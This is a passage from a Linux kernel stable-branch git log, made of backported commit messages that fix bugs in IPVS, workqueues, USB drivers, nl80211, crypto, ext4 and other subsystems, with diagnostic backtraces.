in the first positions of the SIP message. When IPVS is configured with "--pe sip" option, like for example: ipvsadm -A -u 1.2.3.4:5060 -s rr --pe sip -p 120 -o some particular messages (see below for details) do not create entries in the connection template table, which can be listed with: ipvsadm -Lcn --persistent-conn Problematic SIP messages are SIP responses having "Call-ID" header positioned just after message first line: SIP/2.0 200 OK [Call-ID header here] [rest of the headers] When "Call-ID" header is positioned down (after a few other headers) it is correctly recognized. This is due to the data offset used in get_callid function call inside ip_vs_pe_sip.c file: since dptr already points to the start of the SIP message, the value of dataoff should be initially 0. Otherwise the header is searched starting from some bytes after the first character of the SIP message. Fixes: 758ff0338722 ("IPVS: sip persistence engine") Signed-off-by: Marco Angaroni Acked-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 811f6f33ea9b17bb1c385b0d675e1016ec9b5215 Author: Paolo Bonzini Date: Thu Mar 31 09:38:51 2016 +0200 compiler-gcc: disable -ftracer for __noclone functions commit 95272c29378ee7dc15f43fa2758cb28a5913a06d upstream. -ftracer can duplicate asm blocks causing compilation to fail in noclone functions. For example, KVM declares a global variable in an asm like asm("2: ... \n .pushsection data \n .global vmx_return \n vmx_return: .long 2b"); and -ftracer causes a double declaration. Cc: Andrew Morton Cc: Michal Marek Cc: stable@vger.kernel.org Cc: kvm@vger.kernel.org Reported-by: Linda Walsh Signed-off-by: Paolo Bonzini Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit fb59e40472bc63d35fe0de7ace1cfbdef10e5c17 Author: Pali Rohár Date: Fri Feb 19 10:35:39 2016 -0800 ARM: OMAP3: Add cpuidle parameters table for omap3430 commit 98f42221501353067251fbf11e732707dbb68ce3 upstream. Based on CPU type choose generic omap3 or omap3430 specific cpuidle parameters. Parameters for omap3430 were measured on Nokia N900 device and added by commit 5a1b1d3a9efa ("OMAP3: RX-51: Pass cpu idle parameters") which were later removed by commit 231900afba52 ("ARM: OMAP3: cpuidle - remove rx51 cpuidle parameters table") due to huge code complexity. This patch brings cpuidle parameters for omap3430 devices again, but uses simple condition based on CPU type. Fixes: 231900afba52 ("ARM: OMAP3: cpuidle - remove rx51 cpuidle parameters table") Signed-off-by: Pali Rohár Acked-by: Daniel Lezcano Signed-off-by: Tony Lindgren Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 78529f7c3d072d3ece5346cf11a9ab1f20851663 Author: Borislav Petkov Date: Mon Mar 7 16:44:44 2016 -0300 perf stat: Document --detailed option commit f594bae08183fb6b57db55387794ece3e1edf6f6 upstream. I'm surprised this remained undocumented since at least 2011. And it is actually a very useful switch, as Steve and I came to realize recently. Add the text from 2cba3ffb9a9d ("perf stat: Add -d -d and -d -d -d options to show more CPU events") which added the incrementing aspect to -d. Tested-by: Arnaldo Carvalho de Melo Signed-off-by: Borislav Petkov Signed-off-by: Arnaldo Carvalho de Melo Cc: Alexander Shishkin Cc: David Ahern Cc: Davidlohr Bueso Cc: Jiri Olsa Cc: Mel Gorman Cc: Namhyung Kim Cc: Peter Zijlstra Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Fixes: 2cba3ffb9a9d ("perf stat: Add -d -d and -d -d -d options to show more CPU events") Link: http://lkml.kernel.org/r/1457347294-32546-1-git-send-email-bp@alien8.de Signed-off-by: Ingo Molnar Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 440e6e5d0d883280be7f5bc656e934ce9ae2ca05 Author: Vitaly Kuznetsov Date: Fri Feb 27 11:25:51 2015 -0800 Drivers: hv: vmbus: prevent cpu offlining on newer hypervisors commit e513229b4c386e6c9f66298c13fde92f73e6e1ac upstream. When an SMP Hyper-V guest is running on top of 2012R2 Server and secondary cpus are sent offline (with echo 0 > /sys/devices/system/cpu/cpu$cpu/online) the system freeze is observed. This happens due to the fact that on newer hypervisors (Win8, WS2012R2, ...) vmbus channel handlers are distributed across all cpus (see init_vp_index() function in drivers/hv/channel_mgmt.c) and on cpu offlining nobody reassigns them to CPU0. Prevent cpu offlining when vmbus is loaded until the issue is fixed host-side. This patch also disables hibernation but it is OK as it is also broken (MCE error is hit on resume). Suspend still works. Tested with WS2008R2 and WS2012R2. Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan [ 3chas3@gmail.com: rebase to 3.14-stable ] Signed-off-by: Chas Williams <3chas3@gmail.com> Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 737bb3faeac7c26deb03cbd28b23e830644f3782 Author: Michael Hennerich Date: Mon Feb 22 10:20:24 2016 +0100 drivers/misc/ad525x_dpot: AD5274 fix RDAC read back errors commit f3df53e4d70b5736368a8fe8aa1bb70c1cb1f577 upstream. Fix RDAC read back errors caused by a typo. Value must shift by 2. Fixes: a4bd394956f2 ("drivers/misc/ad525x_dpot.c: new features") Signed-off-by: Michael Hennerich Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 51086bb402aa9b590690ffb3fb904bcf0d9e7040 Author: Geert Uytterhoeven Date: Tue Mar 1 09:50:01 2016 +0100 rtc: vr41xx: Wire up alarm_irq_enable commit a25f4a95ec3cded34c1250364eba704c5e4fdac4 upstream. drivers/rtc/rtc-vr41xx.c:229: warning: ‘vr41xx_rtc_alarm_irq_enable’ defined but not used Apparently the conversion to alarm_irq_enable forgot to wire up the callback. Fixes: 16380c153a69c378 ("RTC: Convert rtc drivers to use the alarm_irq_enable method") Signed-off-by: Geert Uytterhoeven Signed-off-by: Alexandre Belloni Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f65c10898381c6d5bc9bb2ab0d0af1f966281eff Author: Ben Hutchings Date: Mon Dec 14 14:29:23 2015 +0000 misc/bmp085: Enable building as a module commit 50e6315dba721cbc24ccd6d7b299f1782f210a98 upstream. Commit 985087dbcb02 'misc: add support for bmp18x chips to the bmp085 driver' changed the BMP085 config symbol to a boolean. I see no reason why the shared code cannot be built as a module, so change it back to tristate. Fixes: 985087dbcb02 ("misc: add support for bmp18x chips to the bmp085 driver") Cc: Eric Andersson Signed-off-by: Ben Hutchings Acked-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 22a15b5e920ebeed5f6186beb0746fafb5a4d71a Author: Sushaanth Srirangapathi Date: Mon Feb 29 18:42:19 2016 +0530 fbdev: da8xx-fb: fix videomodes of lcd panels commit 713fced8d10fa1c759c8fb6bf9aaa681bae68cad upstream. Commit 028cd86b794f4a ("video: da8xx-fb: fix the polarities of the hsync/vsync pulse") fixes polarities of HSYNC/VSYNC pulse but forgot to update known_lcd_panels[] which had sync values according to old logic. This breaks LCD at least on DA850 EVM. This patch fixes this issue and I have tested this for panel "Sharp_LK043T1DG01" using DA850 EVM board. Fixes: 028cd86b794f4a ("video: da8xx-fb: fix the polarities of the hsync/vsync pulse") Signed-off-by: Sushaanth Srirangapathi Signed-off-by: Tomi Valkeinen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 8f6cac310a882467b9cf2f8d58fa8c78826a8380 Author: Arnd Bergmann Date: Tue Mar 15 14:53:29 2016 -0700 paride: make 'verbose' parameter an 'int' again commit dec63a4dec2d6d01346fd5d96062e67c0636852b upstream. gcc-6.0 found an ancient bug in the paride driver, which had a "module_param(verbose, bool, 0);" since before 2.6.12, but actually uses it to accept '0', '1' or '2' as arguments: drivers/block/paride/pd.c: In function 'pd_init_dev_parms': drivers/block/paride/pd.c:298:29: warning: comparison of constant '1' with boolean expression is always false [-Wbool-compare] #define DBMSG(msg) ((verbose>1)?(msg):NULL) In 2012, Rusty did a cleanup patch that also changed the type of the variable to 'bool', which introduced what is now a gcc warning. This changes the type back to 'int' and adapts the module_param() line instead, so it should work as documented in case anyone ever cares about running the ancient driver with debugging. Fixes: 90ab5ee94171 ("module_param: make bool parameters really bool (drivers & misc)") Signed-off-by: Arnd Bergmann Rusty Russell Cc: Tim Waugh Cc: Sudip Mukherjee Cc: Jens Axboe Cc: Greg Kroah-Hartman Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 1a7fa17af39e561d95a92b9b6d0a87ce1919a295 Author: Ignat Korchagin Date: Thu Mar 17 18:00:29 2016 +0000 USB: usbip: fix potential out-of-bounds write commit b348d7dddb6c4fbfc810b7a0626e8ec9e29f7cbb upstream. Fix potential out-of-bounds write to urb->transfer_buffer usbip handles network communication directly in the kernel. When receiving a packet from its peer, usbip code parses headers according to protocol. As part of this parsing urb->actual_length is filled. Since the input for urb->actual_length comes from the network, it should be treated as untrusted. Any entity controlling the network may put any value in the input and the preallocated urb->transfer_buffer may not be large enough to hold the data. Thus, the malicious entity is able to write arbitrary data to kernel memory. Signed-off-by: Ignat Korchagin Cc: Sasha Levin Signed-off-by: Paul Gortmaker Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bf9795744dabf75438faa86d8c54179f817adbfc Author: Roman Pen Date: Tue Apr 26 13:15:35 2016 +0200 workqueue: fix ghost PENDING flag while doing MQ IO commit 346c09f80459a3ad97df1816d6d606169a51001a upstream. The bug in a workqueue leads to a stalled IO request in MQ ctx->rq_list with the following backtrace: [ 601.347452] INFO: task kworker/u129:5:1636 blocked for more than 120 seconds. [ 601.347574] Tainted: G O 4.4.5-1-storage+ #6 [ 601.347651] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 601.348142] kworker/u129:5 D ffff880803077988 0 1636 2 0x00000000 [ 601.348519] Workqueue: ibnbd_server_fileio_wq ibnbd_dev_file_submit_io_worker [ibnbd_server] [ 601.348999] ffff880803077988 ffff88080466b900 ffff8808033f9c80 ffff880803078000 [ 601.349662] ffff880807c95000 7fffffffffffffff ffffffff815b0920 ffff880803077ad0 [ 601.350333] ffff8808030779a0 ffffffff815b01d5 0000000000000000 ffff880803077a38 [ 601.350965] Call Trace: [ 601.351203] [] ? bit_wait+0x60/0x60 [ 601.351444] [] schedule+0x35/0x80 [ 601.351709] [] schedule_timeout+0x192/0x230 [ 601.351958] [] ? blk_flush_plug_list+0xc7/0x220 [ 601.352208] [] ? ktime_get+0x37/0xa0 [ 601.352446] [] ? bit_wait+0x60/0x60 [ 601.352688] [] io_schedule_timeout+0xa4/0x110 [ 601.352951] [] ? _raw_spin_unlock_irqrestore+0xe/0x10 [ 601.353196] [] bit_wait_io+0x1b/0x70 [ 601.353440] [] __wait_on_bit+0x5d/0x90 [ 601.353689] [] wait_on_page_bit+0xc0/0xd0 [ 601.353958] [] ? autoremove_wake_function+0x40/0x40 [ 601.354200] [] __filemap_fdatawait_range+0xe4/0x140 [ 601.354441] [] filemap_fdatawait_range+0x14/0x30 [ 601.354688] [] filemap_write_and_wait_range+0x3f/0x70 [ 601.354932] [] blkdev_fsync+0x1b/0x50 [ 601.355193] [] vfs_fsync_range+0x49/0xa0 [ 601.355432] [] blkdev_write_iter+0xca/0x100 [ 601.355679] [] __vfs_write+0xaa/0xe0 [ 601.355925] [] vfs_write+0xa9/0x1a0 [ 601.356164] [] kernel_write+0x38/0x50 The underlying device is a null_blk, with default parameters: queue_mode = MQ submit_queues = 1 Verification that nullb0 has something inflight: root@pserver8:~# cat /sys/block/nullb0/inflight 0 1 root@pserver8:~# find /sys/block/nullb0/mq/0/cpu* -name rq_list -print -exec cat {} \; ... /sys/block/nullb0/mq/0/cpu2/rq_list CTX pending: ffff8838038e2400 ... During debug it became clear that stalled request is always inserted in the rq_list from the following path: save_stack_trace_tsk + 34 blk_mq_insert_requests + 231 blk_mq_flush_plug_list + 281 blk_flush_plug_list + 199 wait_on_page_bit + 192 __filemap_fdatawait_range + 228 filemap_fdatawait_range + 20 filemap_write_and_wait_range + 63 blkdev_fsync + 27 vfs_fsync_range + 73 blkdev_write_iter + 202 __vfs_write + 170 vfs_write + 169 kernel_write + 56 So blk_flush_plug_list() was called with from_schedule == true. If from_schedule is true, that means that finally blk_mq_insert_requests() offloads execution of __blk_mq_run_hw_queue() and uses kblockd workqueue, i.e. it calls kblockd_schedule_delayed_work_on(). That means, that we race with another CPU, which is about to execute __blk_mq_run_hw_queue() work. Further debugging shows the following traces from different CPUs: CPU#0 CPU#1 ---------------------------------- ------------------------------- reqeust A inserted STORE hctx->ctx_map[0] bit marked kblockd_schedule...() returns 1 request B inserted STORE hctx->ctx_map[1] bit marked kblockd_schedule...() returns 0 *** WORK PENDING bit is cleared *** flush_busy_ctxs() is executed, but bit 1, set by CPU#1, is not observed As a result request B pended forever. This behaviour can be explained by speculative LOAD of hctx->ctx_map on CPU#0, which is reordered with clear of PENDING bit and executed _before_ actual STORE of bit 1 on CPU#1. The proper fix is an explicit full barrier , which guarantees that clear of PENDING bit is to be executed before all possible speculative LOADS or STORES inside actual work function. Signed-off-by: Roman Pen Cc: Gioh Kim Cc: Michael Wang Cc: Tejun Heo Cc: Jens Axboe Cc: linux-block@vger.kernel.org Cc: linux-kernel@vger.kernel.org Cc: stable@vger.kernel.org Signed-off-by: Tejun Heo Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a93515392e25bf21674c37429d6585fde164b78f Author: Laszlo Ersek Date: Thu Apr 21 18:21:11 2016 +0200 efi: Fix out-of-bounds read in variable_matches() commit 630ba0cc7a6dbafbdee43795617c872b35cde1b4 upstream. The variable_matches() function can currently read "var_name[len]", for example when: - var_name[0] == 'a', - len == 1 - match_name points to the NUL-terminated string "ab". This function is supposed to accept "var_name" inputs that are not NUL-terminated (hence the "len" parameter"). Document the function, and access "var_name[*match]" only if "*match" is smaller than "len". Reported-by: Chris Wilson Signed-off-by: Laszlo Ersek Cc: Peter Jones Cc: Matthew Garrett Cc: Jason Andryuk Cc: Jani Nikula Cc: # v3.10+ Link: http://thread.gmane.org/gmane.comp.freedesktop.xorg.drivers.intel/86906 Signed-off-by: Matt Fleming Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2f3caab10e9f5f23a4637be63d40e5119d5f5176 Author: Arnd Bergmann Date: Mon Jan 25 18:07:33 2016 +0100 ASoC: s3c24xx: use const snd_soc_component_driver pointer commit ba4bc32eaa39ba7687f0958ae90eec94da613b46 upstream. An older patch to convert the API in the s3c i2s driver ended up passing a const pointer into a function that takes a non-const pointer, so we now get a warning: sound/soc/samsung/s3c2412-i2s.c: In function 's3c2412_iis_dev_probe': sound/soc/samsung/s3c2412-i2s.c:172:9: error: passing argument 3 of 's3c_i2sv2_register_component' discards 'const' qualifier from pointer target type [-Werror=discarded-qualifiers] However, the s3c_i2sv2_register_component() function again passes the pointer into another function taking a const, so we just need to change its prototype. Fixes: eca3b01d0885 ("ASoC: switch over to use snd_soc_register_component() on s3c i2s") Signed-off-by: Arnd Bergmann Reviewed-by: Krzysztof Kozlowski Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c172c4d7dfd0ff493abcbe367251bb317766318e Author: Tony Luck Date: Fri Apr 29 15:42:25 2016 +0200 EDAC: i7core, sb_edac: Don't return NOTIFY_BAD from mce_decoder callback commit c4fc1956fa31003bfbe4f597e359d751568e2954 upstream. Both of these drivers can return NOTIFY_BAD, but this terminates processing other callbacks that were registered later on the chain. Since the driver did nothing to log the error it seems wrong to prevent other interested parties from seeing it. E.g. neither of them had even bothered to check the type of the error to see if it was a memory error before the return NOTIFY_BAD. Signed-off-by: Tony Luck Acked-by: Aristeu Rozanski Acked-by: Mauro Carvalho Chehab Cc: linux-edac Cc: Link: http://lkml.kernel.org/r/72937355dd92318d2630979666063f8a2853495b.1461864507.git.tony.luck@intel.com Signed-off-by: Borislav Petkov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a0a1c129ce104d389572431ff4c235c62bb5a125 Author: Michael Ellerman Date: Wed Apr 13 13:59:14 2016 +1000 i2c: cpm: Fix build break due to incompatible pointer types commit 609d5a1b2b35bb62b4b3750396e55453160c2a17 upstream. Since commit ea8daa7b9784 ("kbuild: Add option to turn incompatible pointer check into error"), assignments from an incompatible pointer types have become a hard error, eg: drivers/i2c/busses/i2c-cpm.c:545:91: error: passing argument 3 of 'dma_alloc_coherent' from incompatible pointer type Fix the build break by converting txdma & rxdma to dma_addr_t. Signed-off-by: Michael Ellerman Signed-off-by: Wolfram Sang Cc: stable@kernel.org Fixes: ea8daa7b9784 Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ce2cfb04280ae04f9ac1351c0a1f697b02c29bc1 Author: Vladis Dronov Date: Thu Mar 31 10:53:42 2016 -0700 Input: gtco - fix crash on detecting device without endpoints commit 162f98dea487206d9ab79fc12ed64700667a894d upstream. The gtco driver expects at least one valid endpoint. If given malicious descriptors that specify 0 for the number of endpoints, it will crash in the probe function. Ensure there is at least one endpoint on the interface before using it. Also let's fix a minor coding style issue. The full correct report of this issue can be found in the public Red Hat Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=1283385 Reported-by: Ralf Spenneberg Signed-off-by: Vladis Dronov Cc: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4576d63044d8149fe2afbb509cc8bcbc4c517f19 Author: Dmitry Ivanov Date: Wed Apr 6 17:23:18 2016 +0300 nl80211: check netlink protocol in socket release notification commit 8f815cdde3e550e10c2736990d791f60c2ce43eb upstream. A non-privileged user can create a netlink socket with the same port_id as used by an existing open nl80211 netlink socket (e.g. as used by a hostapd process) with a different protocol number. Closing this socket will then lead to the notification going to nl80211's socket release notification handler, and possibly cause an action such as removing a virtual interface. Fix this issue by checking that the netlink protocol is NETLINK_GENERIC. Since generic netlink has no notifier chain of its own, we can't fix the problem more generically. Fixes: 026331c4d9b5 ("cfg80211/mac80211: allow registering for and sending action frames") Cc: stable@vger.kernel.org Signed-off-by: Dmitry Ivanov [rewrite commit message] Signed-off-by: Johannes Berg Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit beba0d907dcf66daeb370a8004985ae067b5e229 Author: Herbert Xu Date: Fri Mar 18 22:42:40 2016 +0800 crypto: gcm - Fix rfc4543 decryption crash This bug has already bee fixed upstream since 4.2. However, it was fixed during the AEAD conversion so no fix was backported to the older kernels. When we do an RFC 4543 decryption, we will end up writing the ICV beyond the end of the dst buffer. This should lead to a crash but for some reason it was never noticed. This patch fixes it by only writing back the ICV for encryption. Fixes: d733ac90f9fe ("crypto: gcm - fix rfc4543 to handle async...") Reported-by: Patrick Meyer Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 5d8532c0abcab21d0de5926d0e0d578d3121ab20 Author: Robert Dobrowolski Date: Thu Mar 24 03:30:07 2016 -0700 usb: hcd: out of bounds access in for_each_companion commit e86103a75705c7c530768f4ffaba74cf382910f2 upstream. On BXT platform Host Controller and Device Controller figure as same PCI device but with different device function. HCD should not pass data to Device Controller but only to Host Controllers. Checking if companion device is Host Controller, otherwise skip. Cc: Signed-off-by: Robert Dobrowolski Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4b100d99ae86b1e0e8b7a6986614490a55580921 Author: Lu Baolu Date: Fri Apr 8 16:25:09 2016 +0300 usb: xhci: fix wild pointers in xhci_mem_cleanup commit 71504062a7c34838c3fccd92c447f399d3cb5797 upstream. This patch fixes some wild pointers produced by xhci_mem_cleanup. These wild pointers will cause system crash if xhci_mem_cleanup() is called twice. Reported-and-tested-by: Pengcheng Li Signed-off-by: Lu Baolu Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman [wt: struct xhci_hcd has no ext_caps members in 3.10 ] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 72a7f45e1b48838689be7200ef392d1ba37946c8 Author: Vladis Dronov Date: Mon Nov 16 15:55:11 2015 -0200 usbvision: fix crash on detecting device with invalid configuration commit fa52bd506f274b7619955917abfde355e3d19ffe upstream. The usbvision driver crashes when a specially crafted usb device with invalid number of interfaces or endpoints is detected. This fix adds checks that the device has proper configuration expected by the driver. Reported-by: Ralf Spenneberg Signed-off-by: Vladis Dronov Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d087e6de90056dc00e65b1723b1c8b8a792ea159 Author: Alexey Khoroshilov Date: Fri Mar 27 19:39:09 2015 -0300 usbvision: fix leak of usb_dev on failure paths in usbvision_probe() commit afd270d1a45043cef14341bcceff62ed50e8dc9a upstream. There is no usb_put_dev() on failure paths in usbvision_probe(). Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 538ad2b67ac9dc55df9103842280dda64af7795a Author: Alexey Khoroshilov Date: Mon Jun 10 17:32:29 2013 -0300 usbvision-video: fix memory leak of alt_max_pkt_size commit 090c65b694c362adb19ec9c27de216a808ee443c upstream. 1. usbvision->alt_max_pkt_size is not deallocated anywhere. 2. if allocation of usbvision->alt_max_pkt_size fails, there is no proper deallocation of already acquired resources. The patch adds kfree(usbvision->alt_max_pkt_size) to usbvision_release() as soon as other deallocations happen there. It calls usbvision_release() if allocation of usbvision->alt_max_pkt_size fails as soon as usbvision_release() is safe to work with incompletely initialized usbvision structure. Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b49fe927cbff7c195e7d34cd536ff4181c1aa279 Author: Nicolai Hähnle Date: Tue Mar 15 12:56:45 2016 -0500 drm/radeon: hold reference to fences in radeon_sa_bo_new (3.17 and older) [Backport of upstream commit f6ff4f67cdf8455d0a4226eeeaf5af17c37d05eb, with an additional NULL pointer guard that is required for kernels 3.17 and older. To be precise, any kernel that does *not* have commit 954605ca3 "drm/radeon: use common fence implementation for fences, v4" requires this additional NULL pointer guard.] An arbitrary amount of time can pass between spin_unlock and radeon_fence_wait_any, so we need to ensure that nobody frees the fences from under us. Based on the analogous fix for amdgpu. Signed-off-by: Nicolai Hähnle Reviewed-by: Christian König (v1 + fix) Tested-by: Lutz Euler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 0aac37c17d9de52c5f72f77ccb38f36913e58cdc Author: Alan Stern Date: Wed Mar 23 12:17:09 2016 -0400 HID: usbhid: fix inconsistent reset/resume/reset-resume behavior commit 972e6a993f278b416a8ee3ec65475724fc36feb2 upstream. The usbhid driver has inconsistently duplicated code in its post-reset, resume, and reset-resume pathways. reset-resume doesn't check HID_STARTED before trying to restart the I/O queues. resume fails to clear the HID_SUSPENDED flag if HID_STARTED isn't set. resume calls usbhid_restart_queues() with usbhid->lock held and the others call it without holding the lock. The first item in particular causes a problem following a reset-resume if the driver hasn't started up its I/O. URB submission fails because usbhid->urbin is NULL, and this triggers an unending reset-retry loop. This patch fixes the problem by creating a new subroutine, hid_restart_io(), to carry out all the common activities. It also adds some checks that were missing in the original code: After a reset, there's no need to clear any halted endpoints. After a resume, if a reset is pending there's no need to restart any I/O until the reset is finished. After a resume, if the interrupt-IN endpoint is halted there's no need to submit the input URB until the halt has been cleared. Signed-off-by: Alan Stern Reported-by: Daniel Fraga Tested-by: Daniel Fraga CC: Signed-off-by: Jiri Kosina Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3d04f97514b1bc77aebd215288b6bd2003cd0137 Author: Theodore Ts'o Date: Fri Apr 1 01:31:28 2016 -0400 ext4: add lockdep annotations for i_data_sem commit daf647d2dd58cec59570d7698a45b98e580f2076 upstream. With the internal Quota feature, mke2fs creates empty quota inodes and quota usage tracking is enabled as soon as the file system is mounted. Since quotacheck is no longer preallocating all of the blocks in the quota inode that are likely needed to be written to, we are now seeing a lockdep false positive caused by needing to allocate a quota block from inside ext4_map_blocks(), while holding i_data_sem for a data inode. This results in this complaint: Possible unsafe locking scenario: CPU0 CPU1 ---- ---- lock(&ei->i_data_sem); lock(&s->s_dquot.dqio_mutex); lock(&ei->i_data_sem); lock(&s->s_dquot.dqio_mutex); Google-Bug-Id: 27907753 Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6a50d957adb1606adf0296b26b64269f40600923 Author: Yoshihiro Shimoda Date: Thu Mar 10 11:30:15 2016 +0900 usb: renesas_usbhs: disable TX IRQ before starting TX DMAC transfer commit 6490865c67825277b29638e839850882600b48ec upstream. This patch adds a code to surely disable TX IRQ of the pipe before starting TX DMAC transfer. Otherwise, a lot of unnecessary TX IRQs may happen in rare cases when DMAC is used. Fixes: e73a989 ("usb: renesas_usbhs: add DMAEngine support") Cc: # v3.1+ Signed-off-by: Yoshihiro Shimoda Signed-off-by: Felipe Balbi Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 32f4f0020d33a216066eea2f15065a8d8530dae5 Author: Yoshihiro Shimoda Date: Thu Mar 10 11:30:14 2016 +0900 usb: renesas_usbhs: avoid NULL pointer derefernce in usbhsf_pkt_handler() commit 894f2fc44f2f3f48c36c973b1123f6ab298be160 upstream. When unexpected situation happened (e.g. tx/rx irq happened while DMAC is used), the usbhsf_pkt_handler() was possible to cause NULL pointer dereference like the followings: Unable to handle kernel NULL pointer dereference at virtual address 00000000 pgd = c0004000 [00000000] *pgd=00000000 Internal error: Oops: 80000007 [#1] SMP ARM Modules linked in: usb_f_acm u_serial g_serial libcomposite CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.5.0-rc6-00842-gac57066-dirty #63 Hardware name: Generic R8A7790 (Flattened Device Tree) task: c0729c00 ti: c0724000 task.ti: c0724000 PC is at 0x0 LR is at usbhsf_pkt_handler+0xac/0x118 pc : [<00000000>] lr : [] psr: 60000193 sp : c0725db8 ip : 00000000 fp : c0725df4 r10: 00000001 r9 : 00000193 r8 : ef3ccab4 r7 : ef3cca10 r6 : eea4586c r5 : 00000000 r4 : ef19ceb4 r3 : 00000000 r2 : 0000009c r1 : c0725dc4 r0 : ef19ceb4 This patch adds a condition to avoid the dereference. Fixes: e73a989 ("usb: renesas_usbhs: add DMAEngine support") Cc: # v3.1+ Signed-off-by: Yoshihiro Shimoda Signed-off-by: Felipe Balbi Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bc033babed946e18fdc12a1b3402c0b417ddb950 Author: Thadeu Lima de Souza Cascardo Date: Fri Apr 1 17:17:50 2016 -0300 ip6_tunnel: set rtnl_link_ops before calling register_netdevice commit b6ee376cb0b7fb4e7e07d6cd248bd40436fb9ba6 upstream. When creating an ip6tnl tunnel with ip tunnel, rtnl_link_ops is not set before ip6_tnl_create2 is called. When register_netdevice is called, there is no linkinfo attribute in the NEWLINK message because of that. Setting rtnl_link_ops before calling register_netdevice fixes that. Fixes: 0b112457229d ("ip6tnl: add support of link creation via rtnl") Signed-off-by: Thadeu Lima de Souza Cascardo Acked-by: Nicolas Dichtel Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c49345b1c5efda7a4018365516ab057505adf3c3 Author: Haishuang Yan Date: Sun Apr 3 22:09:24 2016 +0800 ipv6: l2tp: fix a potential issue in l2tp_ip6_recv commit be447f305494e019dfc37ea4cdf3b0e4200b4eba upstream. pskb_may_pull() can change skb->data, so we have to load ptr/optr at the right place. Signed-off-by: Haishuang Yan Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 085abd031ceca68415196ae8557ec62fd860a8f2 Author: Haishuang Yan Date: Sun Apr 3 22:09:23 2016 +0800 ipv4: l2tp: fix a potential issue in l2tp_ip_recv commit 5745b8232e942abd5e16e85fa9b27cc21324acf0 upstream. pskb_may_pull() can change skb->data, so we have to load ptr/optr at the right place. Signed-off-by: Haishuang Yan Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 09fb73f04e4f982853323b2be10891e13f6614f2 Author: Bjørn Mork Date: Mon Mar 28 22:38:16 2016 +0200 qmi_wwan: add "D-Link DWM-221 B1" device id commit e84810c7b85a2d7897797b3ad3e879168a8e032a upstream. Thomas reports: "Windows: 00 diagnostics 01 modem 02 at-port 03 nmea 04 nic Linux: T: Bus=02 Lev=01 Prnt=01 Port=03 Cnt=01 Dev#= 4 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 1 P: Vendor=2001 ProdID=7e19 Rev=02.32 S: Manufacturer=Mobile Connect S: Product=Mobile Connect S: SerialNumber=0123456789ABCDEF C: #Ifs= 6 Cfg#= 1 Atr=a0 MxPwr=500mA I: If#= 0 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 1 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 2 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 4 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=qmi_wwan I: If#= 5 Alt= 0 #EPs= 2 